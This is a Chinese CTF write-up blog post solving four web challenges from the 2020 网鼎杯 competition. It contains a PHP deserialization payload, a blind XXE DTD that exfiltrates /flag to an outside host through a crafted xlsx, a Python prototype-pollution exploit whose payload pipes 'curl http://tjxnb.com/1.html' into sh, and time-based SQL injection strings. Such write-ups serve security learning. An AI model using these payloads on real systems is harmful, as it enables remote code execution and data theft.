CTF

[网鼎杯 2020 青龙组]web

Posted on 2020-05-10,7 min read

AreUSerialz

====
题目给出了源码。是个反序列化。
大致就是op决定执行函数。filename是文件名。contents是文件内容。
有个文件读取。直接op=2。filename=flag.php就行了
由于PHP版本是7。而php7对于类的属性。并不敏感。题目中的protected属性。由于需要%00。所以不能直接用。可以改为public属性带入。

class FileHandler {
    public  $op=2;
    public  $filename='flag.php';
}
$a=new FileHandler();
echo urlencode(serialize($a));

这里如果带上了contents属性。就不能读取。不知道为啥。
或者就是带上属性。然后修改类的属性数量。3改为2。表示这个类只有两个属性(貌似这里修改属性可以绕过destruct切换目录)
还能通过/proc/self/cmdline获得apache的配置文件路径
然后用绝对路径去读取
还有一种解法是。利用S代替s "\00*\00xxx"这样。

<?php
class test {
        public function scan(){
                var_dump(getcwd());
        }
        public function __destruct(){
                $this->scan();
        }
}
$a=new test();
#触发destruct调用的scan函数。当前目录会在根目录/
$a->scan();
#直接调用的scan函数。目录会在当前目录/var/www/html

filejava

首先就是个文件上传。然后下载处存在任意文件下载。
读取web.xml

../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

webapps是tomcat的所有项目的根目录。然后file_in_java是这个项目的根目录。相当于/var/www/html中的html

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
  <display-name>file_in_java</display-name>
  <welcome-file-list>
    <welcome-file>upload.jsp</welcome-file>
  </welcome-file-list>
  <servlet>
    <description></description>
    <display-name>UploadServlet</display-name>
    <servlet-name>UploadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>UploadServlet</servlet-name>
    <url-pattern>/UploadServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>ListFileServlet</display-name>
    <servlet-name>ListFileServlet</servlet-name>
    <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>ListFileServlet</servlet-name>
    <url-pattern>/ListFileServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>DownloadServlet</display-name>
    <servlet-name>DownloadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>DownloadServlet</servlet-name>
    <url-pattern>/DownloadServlet</url-pattern>
  </servlet-mapping>
</web-app>

根据web.xml
我们得到当前项目下有ListFileServlet和DownloadServlet
class文件在WEB-INF/classes下
所以我们去读取../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
反编译后得到java代码

        
        if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
          
          try {

            
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
          } catch (InvalidFormatException e) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
          } 
        }

如果是以excel-开头。然后是xlsx结尾的文件。就会调用WorkbookFactory.create去处理xlsx文件
这会触发xxe

https://www.cnblogs.com/thespace/p/12400719.html

由于代码中。解析excel后没有输出点。。所以是bind xxe

https://xz.aliyun.com/t/3357#toc-8

远程

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxxxxxx:6666?p=%file;'>">

将excel解压后。修改Content-type.xml。在第二行加入如下代码

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://tjxnb.com/file.dtd">
%remote;%int;%send;
]>

监听端口。文件上传。得到Flag、

notes

源码审计。
undefsafe库存在原型参数链污染。

let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
    notes.edit_note(id, author, enote);
edit_note(id, author, raw) {
    undefsafe(this.note_list, id + '.author', author);
    undefsafe(this.note_list, id + '.raw_note', raw);
}

这里先接受了post的一个author和raw和id
然后传入Edit_note函数。这里使用了undefsafe函数。
如果id传为为__proto__就存在参数链污染
以下是114师傅的EXP

a = {'raw': 'curl http://tjxnb.com/1.html | sh', 'id': '__proto__', 'author': 'test'}
#只需要id为__proto__。其他随意
import requests
url = "http://f13d06664e32474aad611a68000b395fba21a904678b4e4a.cloudgame2.ichunqiu.com:8080/"
print(requests.post(url+"edit_note",json=a).text);
print(requests.get(url+"status").text);

赋值note_list。为note_list.__proto__author='test'
那么我们在for(let index in commands){console.log(commands[index])}
会把comamnds继承链上的东西都打印出来。那么在代码中。他会将这个值exec执行
从而变成了命令执行

trace

只有一个注册功能。
注入点在username处。
想到后台sql语句是insert into user(name,pass) values('username','password')
开始构造sql语句为',sleep(1))%23成功延时
',sleep(database()))%23延时三秒。得到数据库长度
',if((ascii(mid(database(),1,1)=99),sleep(1),1)))%23得到数据库名ctf。
然后就没思路了。只能插入20个语句。并且过滤了information。一开始用innob的库去绕。发现版本不对。没这个库。然后用无列名注入。死在20个语句上。
114狮虎NB!!这里可以用pow(999,999)来造成报错。导致成功延时。报错没插入

if(ascii(substr((select `2` from (select 1,2 union select * from flag limit 1,1)x),1,1))=102, sleep(1),pow(999,999))

然而没环境了。

下一篇: LFI2019(文件包含。无数字字母webshell)→